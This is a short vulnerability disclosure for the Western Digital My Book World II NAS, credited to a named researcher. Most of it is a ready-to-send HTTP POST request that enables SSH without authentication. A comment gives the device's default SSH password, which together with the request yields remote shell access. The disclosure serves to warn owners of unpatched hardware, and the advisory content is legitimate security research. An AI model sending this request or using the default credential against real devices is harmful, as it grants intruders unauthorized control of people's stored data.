Western Digital WD My Book World II NAS <=1.02.12 Suffers from Broken Authentication that can lead to RCE

wd.txt

POST /admin/system_advanced.php?lang=en HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 241

orig_ssl_key=&orig_ssl_certificate=&submit_type=ssh&current_ssh=&enablessh=yes&Submit=Submit&ssl_certificate=Paste+a+signed+certificate+in+X.509+PEM+format+here.&ssl_key=Paste+a+RSA+private+key+in+PEM+format+here.&hddstandby=on&ledcontrol=on

/*
The default password for SSH is 'welc0me' and the only security measure preventing SSH Login is the disabled SSH Port and it can be enabled with above POST Header. The attacker can then login to SSH Port with default password. WD My Book World II NAS is very outdated hardware and Western Digitial may never release update for it. It is still using PHP 4 so it has more potential of Remote Exploits. All firmwares listed at https://support.wdc.com/downloads.aspx?p=130&lang=en are vulnerable.

There is no update coming probably and if you want to remain safe, abandon this NAS and switch to the latest hardware.
*/

Researcher: Noman Riffat - National Security Services Group (NSSG)
@nomanriffat, @nssgoman